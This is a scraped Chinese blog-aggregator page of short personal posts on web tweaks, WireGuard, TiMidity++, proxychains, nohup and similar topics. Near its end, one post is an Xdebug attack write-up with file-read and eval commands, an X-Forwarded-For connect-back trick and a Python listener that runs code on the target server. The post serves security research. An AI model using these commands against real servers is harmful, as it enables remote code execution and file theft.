在一个方案中,由于网页内容被设置成了position:fixed,滚动条自然消失。所以滚动位置回到了浏览器的最上面才对。但是有时候遇到打开Modal的时候发现Modal打开之后滚动条不在最上方,这时候的原因是因为我们虽然设置了CSS进行了变更,但是浏览器没有进行重新绘制,我们可以使用会导致浏览器重绘的JS API来让浏览器更新滚动条信息,使得打开的Modal处于浏览器的最上方。

参考:

Force reflow

's avatar

为什么公共 block 列表有时是个很糟的主意

很多社区都提供 block 某人的选项,于是就有人说了:为什么不搞个公共的 block 列表呢?这样我们都可以把某人 block 掉,每个人都很开心啦!

首先我们需要搞清楚为什么要在社区里 block 一个人。也许你觉得他的发言火药味冲天,也许你跟他有着恩怨,也许你觉得他的观点让你很不开心,也许你就是看他不顺眼 …… 总之,主观因素往往占很大一部分。

但不是所有人的主观思想都跟你一样。你主观上觉得不喜欢的社区成员,也许别人觉得没啥问题。或者他可能只是互联网的萌新,并不太懂得网络社区礼仪,但经过时间的推移,渐渐的意识到自己以前的行为多愚蠢(比如我)。

不喜欢一个人或一种事物是人的基本权利,但把自己的主观想法施加给别人,别人在知道为什么 block 某人的原因后未必认同你;更重要的是,把一大堆基于不同人的主观因素的 block 列表批量导入设置,你和列表整理者的做法是对别人的严重不尊重。

你不喜欢的东西,别人未必不喜欢。

但有一个重要的例外,就是交易中的骗子。他们都损害了普通消费者的权益,为了保护共同利益,建立一个列表,让别人在交易时少撞坑还是很有必要的。

's avatar

客服真的好辛苦

我一直以为,对陌生人保持礼貌,是一个基本的礼仪。对于素未谋面,却不得不耐心帮助我的客服们,更应该是如此。在使用什么东西时遇到了困难,需要向客服寻求帮助的时候,我总会尽量以简介明要的方式,礼貌地向客服说明我的问题,然后陈述我的请求。可是最近,我才悲哀地发现,有许多的人不是这样认为的。

他们在遇到问题时,第一个想到的词语,不是“操你妈”、“干你娘”,就是“fuck you”。这完全能够理解,在遇到令人头痛的麻烦的时候,尤其是遇到像在线游戏被封号这样的事情的时候,感到愤怒是非常正常的。但是接下来,这些词语就被他们接连地扔给了对他们的麻烦没有任何责任的客服。可怜的客服们收到了这样的辱骂,也不得不咽气忍受,并回以冷静且耐心的答复。没有办法,这毕竟是他们的职责,如果客户不满意,给了差评或投诉的话,他们就得吃苦头了。客服们每天要面对许多次这样的谩骂,却无法不承受,真的是太辛苦了。

客服是用来解决问题的,所有人应该都明白,可是我还是看见许多人,在与客服交流的时候,要么支支吾吾,语句混乱,除了本人没人能看明白他想表达什么;要么骂骂咧咧,就像上面说的那样,没有一点想要和平解决问题的样子,好像客服欠它似的,而想要让客服做的事情,却没有说得很明白。甚至还有两种属性都包含的人,看起来好像气愤地语言都无法组织了。勤劳的客服们只好从他们所得到只言片语中,小心翼翼地猜测客户的意图。这是一件多么浪费脑细胞的事情啊。

之前,我的电脑上的 Skype 不能启动了,原则上来说,客服当然一般都会有办法解决啦,不过我用的是 Arch Linux ,所以即便原则上他应该帮我解决这个 Skype 启动不了的问题,我也不应该指望客服能够懂得怎么搞 Arch Linux ,是不?不过那次我比较有闲心,所以就通过在线客服问了一下。当然最后问题没解决,不过我在一点一点向他指出说,我用的是 Arch Linux ,不是 Windows ,跑不了你们的远程协助软件,也没法按照常规步骤排错的时候,他也在努力地一点一点了解情况。最后,他给我了几个显然是刚刚在 Google 搜到的 Ask Ubuntu 的链接,很遗憾,我早就在联系客服之前都查过 Google 了,所以这些链接没有帮到我。但还是辛苦了,尝试帮助我的这位客服,抱歉让你面对一个这么奇怪的客户 :joy: 。

除了传统的通过电话、邮件、工单或在线消息的客服以外,其他类似角色的人也同样辛苦。像比如一些网络游戏的支持论坛,里面满是对游戏“不公平”的抱怨,还有对“误封号”的牢骚。他们也许是真的被不公平地误封了号,可惜骂开发者娘并不是一个让自己解除封号的好方法。你说,你如果看到了令你恼火的要求,怎么还会愿意去为一个游戏作弊的嫌疑犯查核资料呢?

客服真的好辛苦,我以前不这样觉得,我一直以为,这样的人只是少数,所以客服的工作只是耐心地帮助别人就够了。可是最近,我才悲哀地发现,不愿意善待客服的人,出乎意料地多。

我一直以为,我在文章中指责的这些人,离我很远,是被所有人普遍指责的对象。可是最近,我才悲哀地发现,原来他们就在我的身边,就在我熟悉的人当中。平常好端端的人,我却看到在提交给客服的工单中,写满了触目惊心的脏话——这还是我认识的朋友吗?礼貌待人难道不是基本常识吗?你也是这样认为的,对吧?


除特殊说明外,本作品采用知识共享署名-相同方式共享 4.0 国际许可协议进行许可。转载时请注明来自 FiveYellowMice's Blog ,以及原文链接

虽然 RSS 是一种很好的新闻获取方式,但是不同的 RSS 阅读器所显示的内容可能会有很大差距,有些甚至无法显示所有内容。所以为了能够获取到完整的内容,最好还是点开网页链接看。
之所以还是保留了 RSS 的全文输出,是因为摘要输出会被很多人讨厌……

liwanglin12's avatar

1024 天成就达成!

LWL 的自由天空

2014.12.28 – 2017.10.16

Made with by lwl12

 

's avatar

手机(2017 更新)

很久很久以前我也是个手机方面的折腾党,喜欢鼓捣刷机和花式 root 之类的东西。

然而,2015 年,我手里的三星 S5,还是 Android 4.4 系统。虽然官方 5.0 早就出了,但是我却懒得升级,因为折腾一通就要花上半天时间,又要重新 root,又要刷谷歌服务包,又要备份和恢复各种数据什么的,而且我手机在使用的官方 ROM 也没啥严重影响使用的问题。

2017 年,我拥有了我的 Xperia XZ Premium,刷了港版固件,甚至连 root 都不需要,更不需要考虑如何逃避 SafetyNet 检测

但是如果是以前,我一定会第一时间刷机,刷完了以后还不满足,觉得自己手机太渣了,又去一些地方看看奇怪的东西,然后感觉自己的手机多糟糕,想换手机,结果最后却没有如愿。

我是越来越不爱在这方面折腾了,我开始对手机这方面感到厌恶,以至于我甚至不知道小米 4 是什么时候发布的。

初中的时候我经常逛百度 Android 吧之类的地方,看三星 S3 像卫生巾、摩托罗拉万年双核、华为万年 512 之类的东西。

你关注这些东西看起来很高大上,但实际上它对你没什么用。你知道什么什么品牌的手机好不好,某款手机该如何刷机之类的,但那是别人的东西,不是你自己的。

当然我并不是反对折腾手机,我也理解大家为了制服那些国产毒瘤 APP 所付出的努力,但是整天在手机上下文章真的对你没有好处。

手机是用来用的,而不是你拿去只知道按照别人设计好的路径去折腾。

好了,扯淡完毕。

's avatar

在 macOS 用 TiMidity++ 听 MIDI 音乐

为了在 macOS 上使用 TiMidity++,并用上还行的 GUI,我自己动手编译了一个。

为什么要编译呢?Homebrew 提供的二进制,什么 UI 都没编译进去!

过程

  1. 安装 XQuartz 和 Xcode 命令行工具
  2. 下载 TiMidity++ 源代码,并解压
  3. 在终端里切换到 TiMidity++ 源代码所在目录,执行命令
./configure \
--with-x \
--x-includes=/opt/X11/include \
--x-libraries=/opt/X11/lib \
--enable-xaw
make -j6
make install

编译完成后,我们编辑下 /usr/local/share/timidity/timidity.cfg,添加上你喜欢的波表文件,例如:

soundfont "/Users/tcdw/MIDI/_soundfont/GeneralUser GS v1.471.sf2"

打开 XQuartz,在上侧菜单选择 应用程序 => 自定,把我们的 TiMidity++ 加进去;命令是 timidity -ia

以后就可以从 XQuartz 的“应用程序”栏目启动有 GUI 的 TiMidity++ 啦。

升级

重复一遍此步骤即可。

(不过貌似没啥好升级的,因为这玩意更新极不频繁

's avatar

该升级你们的 SmoothScroll.js 啦!

我注意到很多网站都有用到 SmoothScroll.js,但貌似这些网站用的版本都不够新,不支持触摸板,导致用触摸板会一下子滑到最下面或最上面。对于我这么一位常常用 MacBook 触摸板的用户情何以堪啊。

新版的 SmoothScroll.js 同时提供鼠标与触摸板的支持,体验十分完美。

为了照顾那些经常使用笔记本触摸板的用户,升级下你们的 SmoothScroll.js 吧!

另外 BootCDN 也已经收录新版的 SmoothScroll.js 了。

依云's avatar

WireGuard: 简单好用的 VPN

本文来自依云's Blog,转载请注明。

家里和公司电脑连接,因为厌倦了一个个做端口映射,有些还因为安全原因得走 ssh,所以决定弄个 VPN。之前使用过 OpenVPN,然而现在懒得再去配置 OpenVPN 的证书了,所以决定尝试一下新东西。

首先,去 WireGuard 官网上转了一圈,结果还是没弄明白怎么配置。后来尝试了一下 demo,把服务端和客户端的脚本分别看了一下,才弄明白。其实在 WireGuard 里,客户端和服务端基本是平等的,差别只是谁主动连接谁而已。双方都会监听一个 UDP 端口。双方都需要一对密钥。双方都需要把对方的公钥加进来。最后一步,谁主动连接,谁就是客户端。因为家里路由器有公网 IP,我做了端口映射,所以我当然是从公司连家里方便了,用不着麻烦的打洞脚本。

首先 pacman -S wireguard-tools 安装。这也会安装上 WireGuard 的内核模块。然后使用熟悉的 ip 命令添加并配置 WireGuard 的网络接口:

# 生成密钥对
wg genkey | tee privatekey | wg pubkey > publickey

sudo ip link add dev wg0 type wireguard
sudo ip address add dev wg0 192.168.58.1/24
sudo wg set wg0 listen-port 60010 private-key privatekey
sudo ip link set wg0 up

这是我家里的配置。使用的是网段 192.168.58.0/24,因为 56 是 vbox 虚拟机用的,57 分配给 lxc 和我的网络命名空间了。指定了一下监听的端口号。我把之前给 mosh 配置了转发的端口号中最高的那个挪用了。

公司里也是同时的配置,只是不需要指定监听端口号,然后把家里那边设置成 peer,并且连过去(相同的命令我没写):

sudo wg set wg0 private-key privatekey peer 这里是公钥 endpoint 家里的IP:60010 allowed-ips 0.0.0.0/0 persistent-keepalive 180

allowed-ips 指定过来的 IP。这里没怎么限制。persistent-keepalive 是为 NAT 设置的。WireGuard 本来很安静,不需要说话的时候就不说话,但是要往 NAT 后边的主机发送信息,需要经常通信,让 NAT 记得对应的映射关系。

然后家里那边也需要添加一下公司这边的公钥:

sudo wg set wg0 peer YiyFylL+1Dr3j2Cyf0lwXQYz2qaNwm3XyV5YvMFp3Vs= allowed-ips 192.168.58.2/32

IP 限制加上也是没有问题的。这里就不用加上 endpoint 了,它连过来的时候自然就知道了。WireGuard 是支持漫游的,也就是说,双方不管谁的地址变动了,WireGuard 在看到对方从新地址说话的时候,就会记住它的新地址(跟 mosh 一样,不过是双向的)。所以双方要是一直保持在线,并且通信足够频繁的话(比如配置 persistent-keepalive),两边的 IP 都不固定也不影响的。

最后,用得不错,可以把这几条命令写到一个 systemd service 文件里,就可以不用每次敲一串命令了,也可以做到联网后自动启动。


刚刚找了一下,其实之前使用的证书什么的还在,而且还没过期。而且因为弄 nghttpx,用了一下 xca,比 easy-rsa 好用很多呢。不过 WireGuard 的双向漫游很棒啊~

Fenking's avatar

TAC闭站之后的一点话

前段时间 大约是在今年的四月份 我偶然发现TAC关闭了。
我来这个地方其实也没多长时间,只是在搜寻中国東方圈子的时候偶然发现的。
我其实在这之前的很长时间就已经发现了除了東镇以外的其他论坛
只是后来发现这个地方 不过在我去的时候就已经是几乎没有人的地方了。
则圈 算是東方一个比较大的圈子。
我对则圈的了解更多来源于Q群和贴吧,还有同人展
在展子上则圈总是占一小块地方,放几台电脑和一个大屏幕,
寥寥这样就开始打了,一打就是一天。
说实话我坚持不下来,但是他们总是乐此不疲,一局连着一局。
我所在的小地方基本见不到什么展子,但是每当去北京上海或者成都时,总能见到一批一批的则玩家。


返回说说这个论坛吧。

论坛的名字叫Touhou Act Club,东方格斗俱乐部,通称TAC
————410

相比DoujinSTG的三叶草和嘉年华(已经停运了),TAC是幸运的。它在我发现的时候还是有点击量,还是有新帖子,我注册之后的第二天,我也发现了新用户。
但是就在这样的小打小闹之中,某一天它上不去了。正值高三的我,不去在意太多事情,只是在微博上找TAC的消息,以求这个闭站只是个抽风。
但我啥也没找到,就像被遗忘了一样,没什么消息。
直到今日看到410的长文章之前,我都没有把他列入已闭站的栏目。
不过410说了,他已经闭站了。
不过我有时候也笑自己,大家关注的更多是这个游戏[東方绯想天]和[東方非想天则]
我为什么总是关注这个圈子的载体论坛呢,而且还是这个圈子的非主载体。
嘲笑一下自己,总是关注那些过去的东西。
渔场也好玄女也好haku也好盈月也好Doujin也好
我总是注视一些奇怪的东西,不过我没什么资格也没什么本事,我没经历过啥。
2017.10.9

题外话

机核真是个神奇的地方。好多神奇的事情和已经没落的圈子,我总以为再也找不到信息的时候,总能在这地方看到。
不过我还是无法习惯机核那种硬核气息,我充其量就是个对着纸片人傻笑的宅罢了。(笑

Dimpurr's avatar

使用 TiddlyWiki 打造轻便个人 Wiki 知识库

这篇文章将简要介绍 TiddlyWiki 的特点,并且分享一些常用的参考链接、资源、插件和常见问题的解决方案,以方便有相近需求的小伙伴们。

TiddlyWiki ,按官方说法是一个「非线性个人 Web 笔记本」。相比其他笔记和 Wiki 系统,其最大的特点之一是程序本体和数据全部都在一个单 html 文件内,与此同时仍然有着非常强大的功能和插件系统。在我看来,管理以文字、代码和公式为主的个人知识库, TiddlyWiki 可谓是最好的选择之一。

本文来自 钉子の次元 - Dimpurr - 千里之行,始於足下。 ,原文地址 使用 TiddlyWiki 打造轻便个人 Wiki 知识库

Cee's avatar

免路考,用中国驾照换新泽西驾照

虽然说有很多很多篇文章123总结过了如何用中国驾照在 NJ 换取驾照,但是每次看到日期都是 15、16 年的时候,心里总是没有一点底。直到自己亲身实践拿到驾照(2017.09.28)之后才长叹一口气。这篇文章把所有关键的点再来总结一下,应该是全网最最最具体的 QA 解答了吧。

去哪里换

答案只有一个,North Bergen 的 DMV。其他 DMV 都已经没法再用中国的驾照免路考换了。

地址:8901 Park Plaza, North Bergen, NJ 07047。

怎么去

如果你在 NJ,直接公交或者朋友开车送你去吧。

在 NY 的同学可以坐地铁到 42 街下车,去 Port Authority Bus Terminal 买一张 NJ Transit 的公交票,到 Bergenline Ave 或者 Fairview Ave & Grand St 下车。步行就能到 DMV 啦。

准备材料

重中之重。准备好符合 New Jersey 的 6 Points ID Verification。NJ MVC 的官网同时也有计算器来帮助大家查看证件。

自己带了如下的 ID 证明文件:

  • Passport
  • I-94
  • I-20
  • Student ID Card
  • University / College Transcript
  • Social Security Denial Letter / SSN Card
  • Bank Statement (in 90 days)
  • Debit Card

此外,需要提前准备好中国驾照以及对应的翻译公证证明。具体可以点进这个链接

关于笔试

和国内考科目一和科目四差不多,在 NJ 是从 50 道题中回答对 40 道就算通过了笔试。

准备笔试题目一定要好好通读 MVC 官方的 Manual。如果想再做做题目的话安利 https://driving-tests.org 这个网站。虽然题目不全但是能熟悉一下很多数字和题型。

换驾照流程

最繁琐的事情就是考试当日的操作。先看一下 North Bergen DMV 的平面图。

  1. 进门右转到 Reception,和工作人员说过来考理论,领表,填写完整。注意是选择初次。
  2. 到 ID Check Area,检查 6 分证明并提交表格。人多的时候会给一个小牌子,让你在休息区等人叫号,否则直接到休息区中间的队伍排队。
  3. 轮到你的时候到某个窗口,重新检查 6 分证明。交钱、拍照,领一张考试的许可证明,可以去考试区右边排队了。
  4. 叫到号之后在 Vision Test Area 进行视力检查。通过之后关掉手机进考场考试。
  5. 通过考试后工作人员会叫你过去。把翻译公证件给工作人员查看,通过后会给一张领驾照的单子。
  6. 填写完整之后重复步骤 2 和 3,拿到驾照。

整个换驾照的时间会比较的漫长,最好填饱肚子再去比较合适。不过边上就有 Burger King 还是很人性化的。

ホロ's avatar

常见的双因素验证类型

这就是咱鸽了两个月的理由 ?😂

17windy's avatar

[Nyaa_Jump]=-=国庆节小礼物=-=Ver0.7 安卓版 无聊的时候来跳一局吧!

Nyaa_Jump游戏说明:

1,点击左边为小跳,可以跳过连续的柱子,点击右边为大跳,可以跳过跨度大的柱子;

2,收集钻石可以用来原地复活或者解锁更多的主角形象。

已知问题:

1,进入游戏主场景前不要没事点屏幕,会导致游戏直接开始了…虽然问题不大。

下载:

Nyaa_Jump Ver0.7 安卓版 (下载23)

百度云链接:http://pan.baidu.com/s/1pL6y2oz 密码:6x0f

备注:

该游戏模式衍生品众多,只希望您玩起来觉得有趣,能在国庆归乡或旅游或赖床时候感觉到快乐就好:)

官方网站:https://17.works

本软件定义为同人免费作品,未涉及任何商业内容,用户无需支付任何费用即可获得该软件的拷贝。用户在保证该软件拷贝的完整性的前提下,可以通过任意方式再分发该软件拷贝。

依云's avatar

To hup or not to hup

本文来自依云's Blog,转载请注明。

故事起源于同事想在后台跑一个服务:

$ nohup node xxx.js &

一切如愿。

——是吗?

实际情况是,这时退出 bash 是如愿了,但是直接关掉终端窗口的话,那个服务会死掉。

bash 奇怪行为之五

(我好像没有写前四个耶。等有时间了简单写一下吧。)

man bash 然后搜索 SIGHUP,你会发现,其实默认设置,bash 正常退出时,根本不会杀害后台进程。它们会和从脚本里运行时一样欢快地继续跑下去。只有 bash 因为收到 SIGHUP 而退出时,它才会给后台进程发 SIGHUP。

所以,直接 Ctrl-D 或者 exit 退出的话,(处理好了重定向的话,)要不要 nohup 都一样,进程不会死。

zsh 默认退出时会给后台任务发送 SIGHUP(除非你 disown 了)。

但这还是不能解释关窗口的时候,服务为什么会死掉呀?nohup 不是已经忽略掉 SIGHUP 了么?

与众不同的 nodejs

通常情况下,nohup 工作得很好。但是,UNIX 世界里来了位不了解、也不愿意遵循 UNIX 传统惯例的年轻气盛的小伙子。

我还记得 npm 直接往 /usr 下安装东西。

我还记得 npm 把 http_proxy 当 https_proxy 而我的缓存代理不支持 HTTPS,造成无法安装任何东西。

现在,nodejs 将所有信号的处理重置为默认行为,除了它自己想处理的那几个。

「nohup?那是什么鬼?我搞不懂!」nodejs 说,然后它被 SIGHUP 杀死了。

结语

The devil is in the detail!

Jixun Moe's avatar

弹丸论破 v3


▲ 弹丸论破 v3 × 进击的巨人

's avatar

故事:试图不关闭 SIP 在 macOS Sierra 上使用 proxychains-ng

因为一些原因,我需要通过 proxychains 代理我的 ssh 来连接远程主机。我按部就班地用 homebrew 装好了 proxychains-ng,运行系统上已有的 ssh 客户端(/usr/bin/ssh),期望着就像 Debian Linux 上那样可以轻松代理,然而并!不!能!

你会被卡在这里:

我们启用一个国外代理,运行系统上已有的 curl(/usr/bin/curl),你猜怎么着?

tcdw@tcdw-mac.local ~ $ proxychains4 curl ip.cn
[proxychains] config file found: /usr/local/etc/proxychains.conf
[proxychains] preloading /usr/local/Cellar/proxychains-ng/4.12_1/lib/libproxychains4.dylib
当前 IP:blah blah 来自:内蒙古自治区呼和浩特市 电信

看来,proxychains 此时并不能让那些程序走代理。

试图解决

Google 了一下,发现很多博文建议关闭 SIP:

macOS 10.11 后下由于开启了 SIP(System Integrity Protection) 会导致命令行下 proxychains-ng 代理的模式失效,如果你要使用 proxychains-ng 这种简单的方法,就需要先关闭 SIP。

具体的关闭方法如下:blah blah

我不想关闭 SIP,怎么办呢?办法还是有的。

根据苹果的 官方说明,以下路径受到保护:

/System
/usr (不包含 /usr/local)
/bin
/sbin
Apps that are pre-installed with OS X

……

这样就知道如何解决了:把那些二进制复制到不受保护的路径,就可以了!

我在我的 .profile 文件中定义过这个:

export PATH=/Users/tcdw/usr/bin:$PATH

于是我把 ssh 和 curl 复制到我的 bin 路径:

cp $(which ssh) ~/usr/bin/ssh
cp $(which curl) ~/usr/bin/curl

再试试,果然可以代理了!

tcdw@tcdw-mac.local ~ $ proxychains4 curl ip.cn
[proxychains] config file found: /usr/local/etc/proxychains.conf
[proxychains] preloading /usr/local/Cellar/proxychains-ng/4.12_1/lib/libproxychains4.dylib
[proxychains] DLL init: proxychains-ng 4.12
[proxychains] Dynamic chain  ...  127.0.0.1:1080  ...  ip.cn:80  ...  OK
当前 IP:blah blah 来自:日本

总结

  • 把二进制放到 SIG 的保护范围以外即可正常使用 proxychains-ng,而无需关闭 SIG
  • 通过 homebrew 安装的二进制基本在 /usr/local 目录下,因此无需担心此问题。所以,你可以直接通过 homebrew 单独安装 OpenSSH
  • 你也可以考虑下 Proxifier,只要设置好规则即可无痛让各种应用(包括位于被保护路径的命令行工具)使用代理。这是一款商业软件,有 30 天的试用期
依云's avatar

书签搜索:藏在书签里的搜索引擎

本文来自依云's Blog,转载请注明。

最近开始用 Firefox nightly 了。纯 WebExtensions 时代就要来临了,然而 WebExtensions 还不能访问浏览器搜索引擎,所以我没办法选中文本,然后选个正确的搜索引擎了……

我之前使用的是 FireGuestures。选中文本,一个手势弹出我所有的搜索引擎,然后选一个使用。挺好挺方便。然而看现在使用 WebExtensions 的搜索扩展,因为无法访问浏览器搜索引擎,所以都是内置了几个搜索引擎,最多让用户手动添加自己想要使用的。多麻烦啊,而且还要维护额外的数据。

而火狐从一开始就可以「为此搜索引擎添加关键词」(如下图)。虽然也叫「搜索引擎」,但是并不是搜索栏用的那个,而是带关键字的书签。对于 GET 请求的搜索,是在 URL 里把搜索词写作「%s」。对于 POST 请求,「PostData」是用户看不到、扩展也访问不到的,也不能被同步。不过大部分搜索都是 GET 嘛。功能上是弱了一些,比如不能在只有关键词、没有搜索词的时候打开主页。但是书签可以同步呀!

于是,利用书签来存储、同步搜索引擎的扩展——书签搜索——诞生了!效果图如下:

(这个其实是之前《改了一下 GTK 3 的默认主题》的配图 :-)

感兴趣就前往安装书签搜索吧~喜欢请给小星星(AMO 和 GitHub 都可以给星星的哦)~遇到问题请点击右侧「用户支持网站」报告~


这是我的第一个 WebExtensions 扩展,也是第一个正式发布的火狐扩展(其实也支持 Google Chrome 和 Opera;Microsoft Edge 没有尝试,大概也支持吧)。WebExtensions 写起来比 XUL 舒服很多,最主要是文档全面了!不用像写 XUL 那样,拿浏览器工具箱找要修改的 DOM,然后满世界找自己需要的 API。WebExtensions 提供的 API 就那么点,在 MDN 上都有写。另外就是 JavaScript 这些年来进步很大,越来越像 Python 了!可惜 Google Chrome 和 Opera 它们的扩展还不使用 Promise、不能用 await,不然写起来更舒服了。

violet's avatar

搞起一个测试 Golang HTTP server 的性能测试

现在在工作中开始搞 Go 了,重构了一个工具,查了一波如何做性能测试,就当记个笔记。

Ricter's avatar

Abuse Cache of WinNTFileSystem : Yet Another Bypass of Tomcat CVE-2017-12615

null
's avatar

我的一次 HPKP 坑自己经历

HTTP Public Key Pinning (HPKP) 是一项通过 HTTP 头定义网站所使用的 SSL 证书的 Hash 值,在一段时间内防止被第三方进行中间人攻击的方案。通过声明 HPKP ,浏览器会在有效期内保存网站所提供的 HPKP ,并且检验当前的 SSL 证书是否在 HPKP 允许的范围内,如果不在,则会直接不允许访问,并且还没有手动忽略的选择。
依云's avatar

使用 Prince 转换 HTML 文档给 Kindle 阅读

本文来自依云's Blog,转载请注明。

ZeroMQ 的指南文档很长很长。我想放在 Kindle 里,上下班的时候看,长知识又不伤眼。

首先尝试 Push to Kindle。就是本博客每篇文章下边都有的那个链接里的东西。试了好几次终于成功了。然而,章节标题看不出来跑哪儿去了也就算了,代码去哪儿了?注意格式啊!

于是换浏览器,HTML 转 PDF。顺手按 F12,把每个标题右边的导航链接删掉了。然后打印~代码格式没有坏哦~然而,还是有很多代码没显示出来,倒是显示了一堆其它语言代码的链接……继续 F12 改样式表修了。这些都是小问题,最大的问题是,在我不断地调整页面大小的时候,我的火狐每次「准备……」的过程都特别漫长,那个负责转换的子进程吃很多很多 CPU,还卡死了所有它负责的标签页……终于,在等待近半小时它还没准备好的时候,我失去了耐心,杀掉了那个火狐子进程,换 Prince 了。这次我体会到多进程架构的好处了:页面卡了,换个标签页打开,分配到另外的子进程的时候就可以正常使用了。

Prince 是个非常不错的 HTML 转 PDF 软件。免费版本会有个它自己的图标放第一页右上角,没啥问题,打印的时候也不会出现。要是你非要去掉它的话,也可以找个 PDF 编辑工具删掉它。

然后是确定页面大小。因为代码的行都比较长,我决定横屏阅读,也就是「landscape」模式。然后拿尺子量了一下,差不多是 9cm×12cm。维基百科告诉我 Kindle Paperwhite 是6英寸的屏幕,但是我没有弄明白它的长和宽到底是多少,所以还是动手测量了。因为 Kindle 上字显示小一些也挺清晰的,所以我把短边乘以了二(好像并不合理啊,因为已经是 landscape 了,应该两边同步放大才对;不过其实我一开始想的是一页占两屏……)。

然后再加上针对 ZeroMQ 文档的修改,得样式表如下:

td + td {
  display: none;
}

.collapsible-block-folded {
  display: none;
}

.collapsible-block-unfolded {
  display: block !important;
}

.collapsible-block + br + span {
  display: none;
}

body {
  font-family: serif !important;
}

@page {
  size: 18cm 12cm landscape;
  margin: 0;
}

然后让我们的王子干活啦:

prince -s zguide.css zguide.html -o zguide.pdf

因为需要反复尝试,所以我已经把 ZeroMQ 那个巨大的 HTML 下载到本地了。

最终成果在这里。因为页边距为零,所以在一般的阅读器里看起来挺难看的,但是在 Kindle 里就挺适合了~

mmiaow's avatar

Day 10576 Powerpoint 2007+修改页面尺寸而不拉伸元素

在PowerPoint中,对已经做好的幻灯片通过『页面设置』修改页面尺寸(如从全屏4:3修改为全屏16:9),则PowerPoint会自动拉伸页面元素,本意是让原有的元素能自适应新的页面尺寸,但常常适得其反,因为页面尺寸的变化导致本来就需要对元素位置进行重排,现在反而还需要挨个将元素尺寸复位,这对于页数较多的PPT来说简直是灾难性的。

根据本页面的内容,可通过如下方式无损调整PPT文档的页面尺寸(限pptx格式,即PowerPoint 2007以后版本生成的文档):

  1. 备份原始文件。
  2. 将pptx文件用任意支持ZIP格式的压缩软件(如WinRAR、7-zip等)解压缩至单独的文件夹。
  3. 使用文本编辑器(建议为Notepad++等功能比较完善的编辑器,而不是系统自带的记事本,以免出错)打开解压缩后的文件中的 ppt\presentation.xml,查找『p:sldSz』,将其后的cx和cy参数修改为要使用的页面尺寸,常用的全屏尺寸对应数值如下:
    【全屏4:3】cx=”9144000″ cy=”6858000″
    【全屏16:9】cx=”9144000″ cy=”5143500″
    【全屏16:10】cx=”9144000″ cy=”5715000″
  4. 将所有文件重新打包为ZIP格式(注意不要选择其它格式,Powerpoint无法识别)『存储』(存档)压缩率(各压缩软件描述不同,WinRAR为『存储』,7-zip为『仅存储』),然后将后缀重新修改为pptx即可。

按照此方法修改后的pptx文档有一个小问题,即页面的十字中心参考线仍为修改前的位置(通常是水平参考线的位置偏移),猜测可能在XML中有其它参数进行控制,但不影响文档的正常编辑和使用。

以上步骤在 PowerPoint 2010 中测试通过。

HY's avatar

Yomawari : Midnight Shadows

前两天终于把今年的日本一虐萝莉小品游戏「深夜迴」主线通关了。这边写点简单的感想和评价吧(无剧透)。 这次的作品 […]
Ricter's avatar

Xdebug: A Tiny Attack Surface

0x00 About Xdebug

Xdebug 是一个 PHP 的调试工具,支持在本地通过源码远程调试服务器上的 PHP 代码。Xdebug 功能强大,最近关于其配置的文章也层出不穷,很早之前就萌生了挖掘 Xdebug 攻击面的想法,终于在今天这个适合划水的日子去做了。

Xdebug 调试 PHP 的主要流程为:

  1. 接收到 debug 的信号,一般为请求参数带有 XDEBUG_SESSION_START
  2. 返回一个 XDEBUG_SESSION 的 Cookie
  3. 服务器作为客户端,根据配置文件中的 xdebug.remote_hostxdebug.remote_port 连接服务端(开发者的机器)
  4. 服务端收到请求,向客户端发送指令

Xdebug 支持的协议有 dbgp,具体的规范文档在:https://xdebug.org/docs-dbgp.php

Xdebug 的配置比较简单,大体步骤为:

  • 下载源码,phpize、编译
  • 配置 php.ini,增加 zend_extension="/path/to/xdebug.so"
  • 在 conf.d 目录下创建 xdebug.ini

攻击面所需要的环境中, xdebug.ini 内容为:

xdebug.remote_connect_back = 1
xdebug.remote_enable = 1
xdebug.remote_log =  /tmp/test.log

在中国大内网的环境下,一般情况都会去配置 xdebug.remote_connect_back,参见 百度关于 xdebug.remote_connect_back 的搜索结果,而我们的攻击面也是建立在这条配置上的。
逐条解释一下:

  • xdebug.remote_enable,开启远程 debug
  • xdebug.remote_connect_back,开启回连

xdebug.remote_connect_back 的回连是通过自定义 Header(xdebug.remote_addr_header)、X-Forwarded-For 和 Remote-Addr 三个确定的,依次 fallback,所以即使配置了自定义 Header,也可以通过设置 XFF 头来指定服务器连接。

Xdebug 的网络交互也十分简单,客户端回向服务端发送 XML 数据,服务端会向客户端发送类似于 gdb 的 command。每次交互的数据以 \x00 作为 EOL。

0x02 Read The Manaul

通过阅读 DBGp 的文档,我们可以注意到一些比较敏感的命令。

    1. Core Commands > source
    1. Extended Commands > eval
    1. Extended Commands > interact - Interactive Shell
    1. Core Commands > property_set

source 可以读取文件内容,eval is the eval。

1. source

source -i transaction_id -f fileURI

transaction_id 貌似没有那么硬性的要求,每次都为 1 即可,fileURI 是要读取的文件的路径,需要注意的是,Xdebug 也受限于 open_basedir

利用方式:

source -i 1 -f file:///etc/passwd

另外,此处可以用 php://filter 来读取文件,所以也可以用来 SSRF。

2. eval

eval -i transaction_id -- {DATA}

{DATA} 为 base64 过的 PHP 代码。 利用方式(c3lzdGVtKCJpZCIpOw== == system("id");):

eval -i 1 -- c3lzdGVtKCJpZCIpOw==

3. interact

Xdebug 没有实现这个,放弃吧。

4. property_set

根据 Xdebug 对于 dbgp 的实现,property_set 是存在一个代码注入的。
具体代码在:https://github.com/xdebug/xdebug/blob/master/xdebug_handler_dbgp.c#L1503-L1505

    /* Do the eval */
    eval_string = xdebug_sprintf("%s = %s", CMD_OPTION('n'), new_value);
    res = xdebug_do_eval(eval_string, &ret_zval TSRMLS_CC);

利用方式:

property_set -n $a -i 1 -c 1 -- c3lzdGVtKCJpZCIpOw== 
property_get -n $a -i 1 -c 1 -p 0

0x03 Detect Xdebug & Exploit

说了这么多,怎么知道对方是否开了 Xdebug 并且可利用?很简单,一个 cURL 就可以了。

X-Forwarded-For 的地址的 9000 端口收到连接请求,就可以确定开启了 Xdebug,且开启了 xdebug.remote_connect_back

那么,怎么方便的利用呢?

#!/usr/bin/python2
import socket

ip_port = ('0.0.0.0',9000)
sk = socket.socket()
sk.bind(ip_port)
sk.listen(10)
conn, addr = sk.accept()

while True:
    client_data = conn.recv(1024)
    print(client_data)

    data = raw_input('>> ')
    conn.sendall('eval -i 1 -- %s\x00' % data.encode('base64'))

储存为 xdebug_exp.py,然后:

  • 服务端监听端口,等待反弹 shell
  • curl 触发 Xdebug,连接服务端
  • 服务端获取到,发送命令执行的代码

IceHoney Blog's avatar

Github团队协作

